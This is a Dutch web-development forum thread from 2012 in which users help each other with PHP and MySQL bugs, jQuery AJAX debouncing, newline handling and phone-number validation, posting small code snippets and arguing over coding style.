abonnement Unibet Coolblue
pi_117673598
quote:
12s.gif Op zaterdag 6 oktober 2012 20:40 schreef Devolution het volgende:
Nee helaas niet, omdat hij in die IF ook nog wat HTML output via een echo. Dit is voor dit probleem echter niet relevant en daarom heb ik dit niet in de code staan ;)
Je kunt ook eerst de update doen, dan controleren hoeveel rijen er aangepast zijn (met mysql_num_rows()) en op basis daarvan je IF doen.
  zondag 7 oktober 2012 @ 11:07:21 #77
125913 Devolution
Beep beep Richie
pi_117684427
Nee kan ook niet, want hij moet de waarde eerst naar de browser outputten en daarna pas de waarde updaten :)

De waarde in de cel staat voor een aanval die een vechtpoppetje doet. Zodra dit poppetje de aanval doet moet hiervan een melding op het scherm van de speler komen en vervolgens wordt deze aanval uit de cel verwijderd (leeggemaakt).
"You know what Hell really is? It's not lakes of burning oil or chains of ice. It's being removed from God's sight."
pi_117684446
quote:
10s.gif Op woensdag 3 oktober 2012 14:17 schreef Tijn het volgende:

[..]

Ik zat vanochtend nog bij een klant voor een nieuw project die me expliciet vroeg om het niet "te object-georiënteerd" op te zetten :+

Maar goed, dat komt waarschijnlijk omdat 'ie het zelf ook niet zo goed begrijpt denk ik. Ik zie eigenlijk geen reden om niet gewoon met controllers en models te werken.
Of hij begreep het heel goed en was bang voor overengineering of het second-system effect. Het wordt tijd dat de pragmatiek weer breder gedragen gaat worden in het developmentwezen.

Programming Motherfucker, Do you speak it? :-)
Tegenwoordig moet je Dr. Ir. zijn om een beetje correct Nederlands te kunnen neerpleuren.
Abusing semicolons since 1987.
  zondag 7 oktober 2012 @ 11:10:33 #79
12221 Tijn
Powered by MS Paint
pi_117684480
quote:
0s.gif Op zondag 7 oktober 2012 11:08 schreef rekenwonder het volgende:

[..]

Of hij begreep het heel goed en was bang voor overengineering of het second-system effect.

Het wordt tijd dat de pragmatiek breder gedragen gaat worden in het developmentwezen.

Programming Motherfucker.com, Do you speak it? :-)
Mja, de vrij strakke deadline dwingt sowieso al een bepaalde pragmatiek af :+
  FOK!-Schrikkelbaas zondag 7 oktober 2012 @ 11:43:31 #80
862 Arcee
Look closer
pi_117685071
quote:
5s.gif Op zaterdag 6 oktober 2012 17:11 schreef Devolution het volgende:
Ik heb de rest van de code op de pagina niet genoemd omdat ik niet denk dat daar het probleem in zit.
Misschien dat je daar toch een stukje van kunt posten? Je zegt dat de code zoals je die postte in een nieuw document gewoon werkt, dus wellicht ligt het toch aan de overige code.
  zondag 7 oktober 2012 @ 13:33:29 #81
125913 Devolution
Beep beep Richie
pi_117688872
Ik heb het eindelijk opgelost. Het had te maken met een AJAX call in de code (die werd aangeroepen via een javascriptcode die weer via een echo geplaatst werd in die IF hierboven) die de bewuste cel aanpaste nadat de update de cel leeggemaakt had. De update werkte dus wel maar daarna veranderde de AJAX call doodleuk de waarde weer in de oude :D

Ik ben erachter gekomen door de javascriptcode weg te halen, waardoor de pagina het perfect deed. Toen wist ik dus dat het daaraan moest liggen en heb ik de complete javascriptcode (en de resulterende AJAX-call) vervolgens regel voor regel nagelopen en kwam ik achter de fout.

Ik heb hiervoor nog nooit met AJAX calls gewerkt dus vandaar dat ik deze stomme fout gemaakt had haha :@ Maar het werkt nu weer _O_
"You know what Hell really is? It's not lakes of burning oil or chains of ice. It's being removed from God's sight."
pi_117689424
quote:
10s.gif Op zondag 7 oktober 2012 13:33 schreef Devolution het volgende:
Ik heb het eindelijk opgelost. Het had te maken met een AJAX call in de code (die werd aangeroepen via een javascriptcode die weer via een echo geplaatst werd in die IF hierboven) die de bewuste cel aanpaste nadat de update de cel leeggemaakt had. De update werkte dus wel maar daarna veranderde de AJAX call doodleuk de waarde weer in de oude :D

Ik ben erachter gekomen door de javascriptcode weg te halen, waardoor de pagina het perfect deed. Toen wist ik dus dat het daaraan moest liggen en heb ik de complete javascriptcode (en de resulterende AJAX-call) vervolgens regel voor regel nagelopen en kwam ik achter de fout.

Ik heb hiervoor nog nooit met AJAX calls gewerkt dus vandaar dat ik deze stomme fout gemaakt had haha :@ Maar het werkt nu weer _O_
Daarnaast is het wel een walgelijk stukje code. In die 4 regels gaan al 4 dingen mis...
  zondag 7 oktober 2012 @ 13:50:30 #83
125913 Devolution
Beep beep Richie
pi_117689517
Enlighten me?
"You know what Hell really is? It's not lakes of burning oil or chains of ice. It's being removed from God's sight."
pi_117689919
1
2
3
4
5
6
7
8
<?php
$rij 
mysql_fetch_array(mysql_query("SELECT movespeler1,movespeler2 FROM fightdata WHERE id = '1'"));
$move $rij['movespeler1'];
if (
$move != ""){
    
// De tegenstander heeft een move uitgevoerd
    
mysql_query("UPDATE fightdata SET movespeler1 = '' WHERE id = '1'");
}
?>

Geen foutcontrole.
Geen controle over resultaten.
2 spelernamen in 1 tabel ipv een aparte tabel voor spelers.
Where id = 1 zonder quotes. Anders vergelijkt hij als string en niet int
  zondag 7 oktober 2012 @ 18:50:16 #85
125913 Devolution
Beep beep Richie
pi_117701043
Foutcontrole op de fetch is niet nodig omdat de cellen uit de query altijd bestaan.
Er zijn niet 2 spelernamen in 1 tabel, zie onder*.
Als laatste stonden er quotes omdat daar normaal een php string staat, maar voor testdoeleinden had ik daar even een 1 van gemaakt.

* Elk gevecht krijgt een eigen rij. In die rij staan onder andere de columns movespeler1 en movespeler2. Deze geven aan welke aanval elke speler heeft gekozen in datzelfde gevecht en deze worden geleegd zodra beide spelers deze aanval gezien hebben als animatie. Het is dus niet nodig om deze in aparte tabellen te zetten omdat het slechts de acties weergeeft binnen 1 gevecht.
"You know what Hell really is? It's not lakes of burning oil or chains of ice. It's being removed from God's sight."
pi_117742895
Ik zit met een denk spelletje in mijn hoofd, zelf probeer ik steeds meer richting jquery en ajax op te denken. Al lukt het niet altijd even goed, maar nu vraag ik me af. ik heb een tabel met X aantal rijen. elke rij wou ik inline kunnen aanpassen (call back richting database). Zodat als een waarde verandert de goede rij aangepast wordt.

Ik zat nu aan 2 varianten te denken,

1. met een save knop aan het einde van de rij. (hoe hij weet dat hij de Rij daarvoor moet hebben weet ik nog niet ) . Tig <form> op een pagina maken leek me niet praktisch en was net een beetje semi ajax idee.

2. onchange javascript dat als een verandering op het input veld is er een javascript activeert, die de resultaten post richitng de server. Dit lijkt me alleen zwaar te zijn, (kan het mis hebben). elke aanpassing een aparte query verstuurd , geen idee in wat voor orde query's gaan maar, mij is geleerd zo min mogelijk query's te gebruiken. kan het helemaal mis hebben.

Onchange() -> functie in jquery pakt de value van het huidige input veld. Stuurt de waarde per $.post in javascript door naar functie in php. :P en php stuurt het door richting SQL database.
Redacted
  maandag 8 oktober 2012 @ 19:35:35 #87
118585 Crutch
Filantroop || Taalzwengel
pi_117744135
Je bedoelt een "onkeyup"-event van zo'n input text zeker?
Ik zie het wel vaker gebeuren; met zoeksuggesties bijvoorbeeld.
Ja je vuurt dan wel met elke toetsaanslag een $.post() af, maar dat is toch niet zo zwaar?
Je moeder is een hamster
  maandag 8 oktober 2012 @ 19:42:55 #88
84244 Scorpie
Abject en infaam!
pi_117744523
Of pas na drie aanslagen fetchen, deze in cache opslaan en daar verder in filteren.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  maandag 8 oktober 2012 @ 20:04:15 #89
75592 GlowMouse
l'état, c'est moi
pi_117745740
quote:
0s.gif Op maandag 8 oktober 2012 19:42 schreef Scorpie het volgende:
Of pas na drie aanslagen fetchen, deze in cache opslaan en daar verder in filteren.
jij gaat voor de bullshitbingo?
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
  maandag 8 oktober 2012 @ 20:07:17 #90
25889 Sitethief
Fulltime Flapdrol
pi_117745943
Wie heeft er ervaring met Propel en verglijkbare ORM oplossingen in PHP. Is zoiets aan te raden om op te pakken voor wat hobbyprojectjes, of maak ik het me dan juist weer veels te moeilijk? En wat zou een tussenoplossing zijn? Het andere einde is nl. zelf e.a. aan classes schrijven voor PDO/MySQL, dat voelt alleen een beetje als het wiel op nieuwe uitvinden. Ik doe dat al op mijn werk dus om dat thuis nog eens na te gaan doen is mij een beetje te gortig.
Stroek: Sitethief, die is heel groot en sterk :Y.
Faat: *zucht* zoals gewoonlijk hoor Sitethief weer in de bocht &gt;:)
  maandag 8 oktober 2012 @ 20:12:38 #91
84244 Scorpie
Abject en infaam!
pi_117746321
quote:
14s.gif Op maandag 8 oktober 2012 20:04 schreef GlowMouse het volgende:

[..]

jij gaat voor de bullshitbingo?
Nee lekker alles in het Nederlands uitspreken, dat zet zoden aan de dijk :')

'Na 3 aanslaguh de resultaten ophaluh en dan lokaal bijhouduh en dan daarin gaan zoekuh'.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  maandag 8 oktober 2012 @ 20:24:16 #92
75592 GlowMouse
l'état, c'est moi
pi_117747076
quote:
7s.gif Op maandag 8 oktober 2012 20:12 schreef Scorpie het volgende:

[..]

Nee lekker alles in het Nederlands uitspreken, dat zet zoden aan de dijk :')

'Na 3 aanslaguh de resultaten ophaluh en dan lokaal bijhouduh en dan daarin gaan zoekuh'.
Je strooide met termen zonder specifiek aan te geven waar dat gebeurde. Fetchen is in php-land sowieso iets vreemds als je het over user-input hebt. Het was voor mij onbegrijpelijk wat je met je post bedoelde.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_117748437
Heeft iemand hier ervaring met cURL? Ik heb een loginscript, maar ik krijg geen output. Waarschijnlijk heeft het te maken met een cookie.txt file waar naartoe geschreven moet kunnen worden. Ik weet alleen niet hoe. :?
  maandag 8 oktober 2012 @ 21:04:29 #94
84244 Scorpie
Abject en infaam!
pi_117749460
quote:
0s.gif Op maandag 8 oktober 2012 20:24 schreef GlowMouse het volgende:

[..]

Je strooide met termen zonder specifiek aan te geven waar dat gebeurde. Fetchen is in php-land sowieso iets vreemds als je het over user-input hebt. Het was voor mij onbegrijpelijk wat je met je post bedoelde.
Data fetchen is jou vreemd? De relatie met een input field kon je ook niet leggen? User-input is wel een normale term ? Dit soort termen worden dagelijks gebezigd zonder dat er iemand is die niet snapt waar het over gaat, zeker de gemiddelde devver weet precies wat dit inhoud. Daarnaast is de door mij geposte manier een beproefde methode voor een live search veld.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
pi_117753955
quote:
12s.gif Op zondag 7 oktober 2012 18:50 schreef Devolution het volgende:
Foutcontrole op de fetch is niet nodig omdat de cellen uit de query altijd bestaan.
Dan nog kun je zonder foutafhandeling in de problemen komen. Bijvoorbeeld als de tabel wordt aangepast en je de code niet overal bijwerkt. Of als het id niet bestaat, of de verbinding met de database moeilijk doet. Als mysql_query (een functie die je eigenlijk niet meer moet gebruiken) geen resultaat oplevert, gaat mysql_fetch ook mis.
  dinsdag 9 oktober 2012 @ 09:59:25 #96
25889 Sitethief
Fulltime Flapdrol
pi_117764634
Over het algemeen vang ik functies altijd af, bijna alle functies kunnen false terug geven als er iets misgaat. Als je dat meteen afvangt kun je dat meteen vastleggen, ipv dat je telefoontjes van klanten krijgt over foreaches die misgaan wegens missende data etc. (en eigenlijk vind ik dat je altijd moet checken of je wel een array/object naar je foreach stuurt, of iedere andere functie die een bepaalde iets verwacht.) Dan moet je namelijk helemaal terug gaan kijken waar dat ook al weer was, ipv dat je die informatie al hebt. En daarnaast is het voor de gebruiker meestal prettiger een foutmelding te zien die zij kunnen begrijpen, ipv een of andere php foutmelding.
Stroek: Sitethief, die is heel groot en sterk :Y.
Faat: *zucht* zoals gewoonlijk hoor Sitethief weer in de bocht &gt;:)
  dinsdag 9 oktober 2012 @ 10:01:49 #97
25889 Sitethief
Fulltime Flapdrol
pi_117764688
Het woord altijd vind ik zo gevaarlijk in de ICT, "ja maar dat zal nooit gebeuren", "dat komt niet voor", "daar hoeven we geen rekening mee te maken", "die input/output is altijd goed"
Stroek: Sitethief, die is heel groot en sterk :Y.
Faat: *zucht* zoals gewoonlijk hoor Sitethief weer in de bocht &gt;:)
pi_117764787
tegenwoordig leer je het tijdens je opleiding om overal rekening mee (proberen) te houden en (proberen) zo veel mogelijk op te vangen (ik toch :))
Avatar mede-mogelijk gemaakt door buurpoes
  dinsdag 9 oktober 2012 @ 10:07:47 #99
91039 mstx
2x1/2 = 1/2 x 1/2
pi_117764835
quote:
0s.gif Op maandag 8 oktober 2012 19:09 schreef cablegunmaster het volgende:
2. onchange javascript dat als een verandering op het input veld is er een javascript activeert, die de resultaten post richitng de server. Dit lijkt me alleen zwaar te zijn, (kan het mis hebben). elke aanpassing een aparte query verstuurd , geen idee in wat voor orde query's gaan maar, mij is geleerd zo min mogelijk query's te gebruiken. kan het helemaal mis hebben.

Onchange() -> functie in jquery pakt de value van het huidige input veld. Stuurt de waarde per $.post in javascript door naar functie in php. :P en php stuurt het door richting SQL database.
quote:
0s.gif Op maandag 8 oktober 2012 19:42 schreef Scorpie het volgende:
Of pas na drie aanslagen fetchen, deze in cache opslaan en daar verder in filteren.
Ik doe zoiets meestal met een timeout, dus dit idee:
1
2
3
4
5
var timeout=null;
function onkeyupfunctie(){
if (timeout!=null) clearTimeout(timeout);
setTimeout("functieDieAjaxVerstuurt()", 3000);
}
Dan stuurt hij max. elke 3 seconden iets naar je server.
Op donderdag 2 juli 2009 22:41 schreef RTB het volgende:
als ik elk rap"liedje" een kans moest geven was ik aan het eind van dit millennium nog bezig met het tempo waarin die kotshoop uitgebraakt wordt.
👾
pi_117776012
quote:
12s.gif Op zondag 7 oktober 2012 18:50 schreef Devolution het volgende:
Foutcontrole op de fetch is niet nodig omdat de cellen uit de query altijd bestaan.
Je moet nooit er vanuit gaan dat iets altijd bestaat.

quote:
Er zijn niet 2 spelernamen in 1 tabel, zie onder*.
Het kan wel zo, maar het is niet netjes :)

quote:
Als laatste stonden er quotes omdat daar normaal een php string staat, maar voor testdoeleinden had ik daar even een 1 van gemaakt.
controleer je dan wel of die string ook aan je voorwaarden voldoet?

quote:
* Elk gevecht krijgt een eigen rij. In die rij staan onder andere de columns movespeler1 en movespeler2. Deze geven aan welke aanval elke speler heeft gekozen in datzelfde gevecht en deze worden geleegd zodra beide spelers deze aanval gezien hebben als animatie. Het is dus niet nodig om deze in aparte tabellen te zetten omdat het slechts de acties weergeeft binnen 1 gevecht.
Maar wat als je meer acties krijgt? Dan kun je het niet opschalen
pi_117777713
quote:
0s.gif Op dinsdag 9 oktober 2012 10:07 schreef mstx het volgende:

[..]

[..]

Ik doe zoiets meestal met een timeout, dus dit idee:
[ code verwijderd ]

Dan stuurt hij max. elke 3 seconden iets naar je server.
Hoe is dit idee eigenlijk? ik begrijp de code half, je wil als er 3 seconde niks gebeurt iets verstuurt?
Want ik heb nu
1<input type='text' name='field_name' value='' onchange="Update_field_table($rownumber,$value);" />
Daarbij gebruik ik een stukje javascript:
1
2
3
4
5
6
7
8
function Update_field_table(rownumber,waarde)
{
  //irrelevant hieronder.
   $.post{
    waarde : waarde,
    rownumber : rownumber
    }
}

Hoe wou je daartussen dan de timeout neerzetten? want dan was je idee dat hij elke keer de timeout cleared onchange? en pas na 3 seconde submit. onchange submitten heb ik al onder de knie, alleen hoe was je idee met de 3 seconde timeout? dat hij pas na 3 seconde na de onchange aanpast? Ideaal eigenlijk als er geen change meer plaatsvind. dus 2 seconde na laatste change. :P


Ontleed:
Trigger: Als een key up wordt gedrukt laad hij deze functie.
Als er 3 seconde geen knop boven is gedrukt verstuurd hij het richting de server ( aanroep functieDieAjax); als ik het begrijp? :P anders timeout leegmaken.
1
2
3
4
5
var timeout=null;
function onkeyupfunctie(){
if (timeout!=null) clearTimeout(timeout);
setTimeout("functieDieAjaxVerstuurt()", 3000);
}


[ Bericht 5% gewijzigd door cablegunmaster op 09-10-2012 16:06:02 ]
Redacted
  dinsdag 9 oktober 2012 @ 16:47:09 #102
125913 Devolution
Beep beep Richie
pi_117779377
Bedankt voor al jullie hulp en zorgen maar ik heb er al genoeg over nagedacht en ik vind het prima zo. Het is verder iets voor mezelf, niet voor een klant dus ik zit er niet zo mee als het niet perfect is.
"You know what Hell really is? It's not lakes of burning oil or chains of ice. It's being removed from God's sight."
  dinsdag 9 oktober 2012 @ 16:58:23 #103
91039 mstx
2x1/2 = 1/2 x 1/2
pi_117779792
quote:
0s.gif Op dinsdag 9 oktober 2012 16:00 schreef cablegunmaster het volgende:

[..]

Hoe is dit idee eigenlijk? ik begrijp de code half, je wil als er 3 seconde niks gebeurt iets verstuurt?
Want ik heb nu
[ code verwijderd ]

Daarbij gebruik ik een stukje javascript:
[ code verwijderd ]

Hoe wou je daartussen dan de timeout neerzetten? want dan was je idee dat hij elke keer de timeout cleared onchange? en pas na 3 seconde submit. onchange submitten heb ik al onder de knie, alleen hoe was je idee met de 3 seconde timeout? dat hij pas na 3 seconde na de onchange aanpast? Ideaal eigenlijk als er geen change meer plaatsvind. dus 2 seconde na laatste change. :P

Ontleed:
Trigger: Als een key up wordt gedrukt laad hij deze functie.
Als er 3 seconde geen knop boven is gedrukt verstuurd hij het richting de server ( aanroep functieDieAjax); als ik het begrijp? :P anders timeout leegmaken.
[ code verwijderd ]

Ja volgens mij snap je het wel zo'n beetje.
Bij elke druk op de knop slaat hij een actie op in de variabele "timeout" die over 3 seconden uitgevoerd wordt. Voordat hij dat doet verwijdert hij die functie weer als die in die variabele is opgeslagen.
Dus zolang je steeds binnen 3 seconden op een knop drukt blijft hij die actie verwijderen en daarna weer opnieuw starten voor over 3 seconden.
Op donderdag 2 juli 2009 22:41 schreef RTB het volgende:
als ik elk rap"liedje" een kans moest geven was ik aan het eind van dit millennium nog bezig met het tempo waarin die kotshoop uitgebraakt wordt.
👾
pi_117835348
ik heb een tekst invul form, de tekst schrijf ik wel in een txt file
als ik in de tekstarea een harde return geef dan komt deze ook in de txt file terecht.
Als ik de textfile uitlees dan zie ik die harde return ook weer terug op het scherm...da's nie de bedoeling

hoe krijg ik de harde return eruit?
trim lijkt niet te werken
pi_117835430
quote:
0s.gif Op woensdag 10 oktober 2012 22:31 schreef MrNiles het volgende:
ik heb een tekst invul form, de tekst schrijf ik wel in een txt file
als ik in de tekstarea een harde return geef dan komt deze ook in de txt file terecht.
Als ik de textfile uitlees dan zie ik die harde return ook weer terug op het scherm...da's nie de bedoeling

hoe krijg ik de harde return eruit?
trim lijkt niet te werken
http://nl1.php.net/nl2br die functie nodig? (ik weet even niet waarom je die harde return niet wilt hebben :P)
pi_117835659
quote:
0s.gif Op woensdag 10 oktober 2012 22:33 schreef mschol het volgende:

[..]

http://nl1.php.net/nl2br die functie nodig? (ik weet even niet waarom je die harde return niet wilt hebben :P)
ik wil de harde return niet in mijn txt file terug zien als harde return maar alleen als <br/>
  woensdag 10 oktober 2012 @ 22:37:46 #107
12221 Tijn
Powered by MS Paint
pi_117835687
quote:
0s.gif Op woensdag 10 oktober 2012 22:37 schreef MrNiles het volgende:

[..]

ik wil de harde return niet in mijn txt file terug zien als harde return maar alleen als <br/>
Dat is precies wat nl2br() doet.
pi_117835873
quote:
6s.gif Op woensdag 10 oktober 2012 22:37 schreef Tijn het volgende:

[..]

Dat is precies wat nl2br() doet.
ow..ok..ff proberen dan
kwam er net achter dat een harde return een carriage return heet...dat zoekt een stuk makkelijker
kwam op deze oplossing
$bericht= trim( preg_replace( '/\s+/', ' ', $bericht) );
  woensdag 10 oktober 2012 @ 22:59:02 #109
85514 ralfie
!Yvan eht nioj
pi_117837041
quote:
0s.gif Op woensdag 10 oktober 2012 22:40 schreef MrNiles het volgende:

[..]

ow..ok..ff proberen dan
kwam er net achter dat een harde return een carriage return heet...dat zoekt een stuk makkelijker
kwam op deze oplossing
$bericht= trim( preg_replace( '/\s+/', ' ', $bericht) );
Een carriage return is het '\r' symbool. Het 'ga naar de volgende regel' symbool is de newline '\n'.
Windows vindt het nodig om beide te gebruiken als 'harde enter' of hoe je het noemen wil:

jantje\r\n
Dit is een nieuwe regel

*nix doet standaard alleen de '\n' gebruiken

jantje\n
Dit is een nieuwe regel

Waarom windows het in twee symbolen doet is historisch, eigenlijk. Een carriage return is wat je met je typmachine doet, het terugslingeren van je papier om de 'cursor' weer aan het begin van de regel te krijgen. De newline, het doordraaien van je papier, is datgene wat de nieuwe regel maakt.

In console output kun je met een carriage return de huidige regel overschrijven. Handig voor voortgang e.d.
  woensdag 10 oktober 2012 @ 23:13:42 #110
37634 wobbel
Da WoBBeL King
pi_117837996
Help, wat doe ik weer eens fout :') Ik krijg bij huidige waarde van $henk fout terug :(

Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// Telefoonnummer controle        
$henk "+3107365252"// OK
$henk "2355929253"// OK
$henk "+352329523" // OK
$henk "035ABC"// FOUT
$henk "+35235a"// FOUT
if ( preg_match "/^\+?\d+$/"$henk ) )
{
    
    echo 
"OK";
    
}
else
{
    
    echo                                                
"FOUT";    
    
}
?>
pi_117838401
quote:
0s.gif Op woensdag 10 oktober 2012 23:13 schreef wobbel het volgende:
Help, wat doe ik weer eens fout :') Ik krijg bij huidige waarde van $henk fout terug :(

Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)
[ code verwijderd ]

zoiets?"
1
2
3
4
5
if (preg_match('/^\+?\d{1,10}$|\d{1,10}$/i', $subject)) {
    # Successful match
} else {
    # Match attempt failed
}
zal vast niet het meest efficientst zijn :X (gezien ik geen regex held ben het even met regexbuddy in elkaar geknutseld..)
  woensdag 10 oktober 2012 @ 23:26:01 #112
37634 wobbel
Da WoBBeL King
pi_117838612
quote:
0s.gif Op woensdag 10 oktober 2012 23:21 schreef mschol het volgende:

[..]

zoiets?"
[ code verwijderd ]

zal vast niet het meest efficientst zijn :X (gezien ik geen regex held ben het even met regexbuddy in elkaar geknutseld..)
Het gaat met name om de snelheid van de regex aangezien de regex vele tienduizenden keren per dag uitgevoerd gaat worden.

En volgens mij is 0-9 toch echt handiger dan 1-10 :+
pi_117838698
quote:
0s.gif Op woensdag 10 oktober 2012 23:26 schreef wobbel het volgende:

[..]

Het gaat met name om de snelheid van de regex aangezien de regex vele tienduizenden keren per dag uitgevoerd gaat worden.

En volgens mij is 0-9 toch echt handiger dan 1-10 :+
voor optimalisatie moet je niet bij mij zijn :@

en 0-9? lijkt me erg onhandig, je eerste voorbeeld matcht hij dan al niet... ;)
1-10 is vanaf 1 cijfer tot max 10 cijfers...
  woensdag 10 oktober 2012 @ 23:30:25 #114
37634 wobbel
Da WoBBeL King
pi_117838823
quote:
0s.gif Op woensdag 10 oktober 2012 23:27 schreef mschol het volgende:

[..]

voor optimalisatie moet je niet bij mij zijn :@

en 0-9? lijkt me erg onhandig, je eerste voorbeeld matcht hij dan al niet... ;)
1-10 is vanaf 1 cijfer tot max 10 cijfers...
Ah, ik snap dus al niks van regexen :P

Hij mag numeriek zijn, of numeriek en beginnen met +. De lengte is verder niet van belang, van 1 tot 100 cijfers ik vind het allemaal goed :P
  woensdag 10 oktober 2012 @ 23:50:16 #115
12221 Tijn
Powered by MS Paint
pi_117839515
quote:
0s.gif Op woensdag 10 oktober 2012 23:13 schreef wobbel het volgende:

Ik wil nummers en + toestaan (voor telefoonnummers met of zonder + ervoor)
Is filter_var() dan geen oplossing?

1
2
3
<?php
echo filter_var('+1234henk-5678aaa'FILTER_SANITIZE_NUMBER_FLOAT);
?>

Hier komt uit:

1+1234-5678
pi_117840534
Wat Tijn zegt, of FILTER_VALIDATE_FLOAT, die geeft true of false terug. (misschien iets te stikt voor telefoonnummers, als je ook streepjes of spaties wilt toestaan)
pi_117841583
$valid = ( $henk{1} === '+' || ctype_digit($henk{1}) && ctype_digit(substr($henk, 1)) );

Zoiets ? :P
..///
pi_117841848
quote:
14s.gif Op donderdag 11 oktober 2012 00:30 schreef KomtTijd... het volgende:
Wat Tijn zegt, of FILTER_VALIDATE_FLOAT, die geeft true of false terug. (misschien iets te stikt voor telefoonnummers, als je ook streepjes of spaties wilt toestaan)
Mja, eerst trimmen voordat je hem door de filter haalt. Slikt ie in ieder geval spaties.
pi_117857423
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var timeout=null;
function update_voucher(rownumber,waarde){
    var rownumber = rownumber;
    var waarde = waarde;
    if (timeout!=null)
    clearTimeout(timeout);
    setTimeout(function(){
        functieVoucherVerstuurd(rownumber,waarde);
    }, 2000);
}

function functieVoucherVerstuurd(rownumber,waarde)
{
    var value = $("."+waarde).val();
    $.post("/cms/voucher/blablabla/", {
        id : rownumber,
        value : value,
        field : waarde,
        post_ajax : "true"
    },    function(data){
        alert(waarde+" veld is geupdate met: "+value);
    });
}
werkt goed :P alleen nog iets met this erbij :P

1var value = $("."+waarde).val();
zit nog niet helemaal lekker, hij pakt alleen de bovenste rij omdat dit zo staat. alleen iets met this? snap daar nog niet helemaal de syntax van :o.

[ Bericht 3% gewijzigd door cablegunmaster op 11-10-2012 16:14:29 ]
Redacted
pi_117857611
Als je al nederlandse functienamen gebruikt, maak ze dan op zijn minst grammaticaal correct ;(
  donderdag 11 oktober 2012 @ 16:20:15 #121
75592 GlowMouse
l'état, c'est moi
pi_117857891
Kijk eens naar de jQuery-documentatie over traversing. Je laat niet zien hoe de functie wordt aangeroepen, maar vanaf $(this) is de rij waarschijnlijk niet ver in de dom-tree.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_117858193
quote:
0s.gif Op donderdag 11 oktober 2012 16:20 schreef GlowMouse het volgende:
Kijk eens naar de jQuery-documentatie over traversing. Je laat niet zien hoe de functie wordt aangeroepen, maar vanaf $(this) is de rij waarschijnlijk niet ver in de dom-tree.
Idee is eigenlijk dat hij zichzelf vind, dus met behulp van onchange eigenlijk weet dat hij Input te pakken heeft de huidige rij te pakken heeft. ik zat me net te bedenken is het dan slim om elke rij een eigen nummer id mee te geven , op basis van de ID in de DB? zo van:

1
2
3
4
5
<?php
<tr id='voucher-500' >
  <
td><input  name='datum' value='2012-01-01' onchange="update_voucher('500','datum');" /></td>
<
tr>
?>

Op basis van het "voucher"+500 de input te pakken? (hoe weet ik nog niet :P ).
Daar vervolgens de children van die TR te pakken? :P
Redacted
  donderdag 11 oktober 2012 @ 16:30:35 #123
75592 GlowMouse
l'état, c'est moi
pi_117858326
wat is de .val() van die tr dan?
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_117858389
quote:
0s.gif Op donderdag 11 oktober 2012 16:30 schreef GlowMouse het volgende:
wat is de .val() van die tr dan?
dankje voor het idee, even kijken of ik het toegepast krijg :).
Oplossing: op basis van de DB + veldnaam het toe te passen O+ .

[ Bericht 12% gewijzigd door cablegunmaster op 11-10-2012 16:39:06 ]
Redacted
pi_117858451
quote:
10s.gif Op donderdag 11 oktober 2012 16:12 schreef KomtTijd... het volgende:
Als je al nederlandse functienamen gebruikt, maak ze dan op zijn minst grammaticaal correct ;(
Ben nu bezig met een php project waar alle functienamen en variabelen in het Spaans zijn ;(
  donderdag 11 oktober 2012 @ 16:38:50 #126
84244 Scorpie
Abject en infaam!
pi_117858668
quote:
0s.gif Op donderdag 11 oktober 2012 16:27 schreef cablegunmaster het volgende:

[..]

Idee is eigenlijk dat hij zichzelf vind, dus met behulp van onchange eigenlijk weet dat hij Input te pakken heeft de huidige rij te pakken heeft. ik zat me net te bedenken is het dan slim om elke rij een eigen nummer id mee te geven , op basis van de ID in de DB? zo van:
[ code verwijderd ]

Op basis van het "voucher"+500 de input te pakken? (hoe weet ik nog niet :P ).
Daar vervolgens de children van die TR te pakken? :P
Owja, geweldig, database id`tjes meegeven.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
pi_117858698
quote:
9s.gif Op donderdag 11 oktober 2012 16:38 schreef Scorpie het volgende:
Owja, geweldig, database id`tjes meegeven.
Beter idee? :P dit is toch voor achter de schermen gebruik.
Redacted
  donderdag 11 oktober 2012 @ 16:41:25 #128
84244 Scorpie
Abject en infaam!
pi_117858786
quote:
0s.gif Op donderdag 11 oktober 2012 16:39 schreef cablegunmaster het volgende:

[..]

Beter idee? :P dit is toch voor achter de schermen gebruik.
ALS je al id`tjes gebruikt, dan gooi ik die informatie altijd in het HTML5 attribuut data. Met jQuery kan je die vervolgens door $(selector).data('var'); uitlezen.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  donderdag 11 oktober 2012 @ 16:44:20 #129
75592 GlowMouse
l'état, c'est moi
pi_117858930
quote:
0s.gif Op donderdag 11 oktober 2012 16:32 schreef cablegunmaster het volgende:

[..]

Oplossing: op basis van de DB + veldnaam het toe te passen O+ .
ik had je al een prachtoplossing gegeven
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_117858975
quote:
0s.gif Op donderdag 11 oktober 2012 16:44 schreef GlowMouse het volgende:

[..]

ik had je al een prachtoplossing gegeven
die snapte ik niet :@

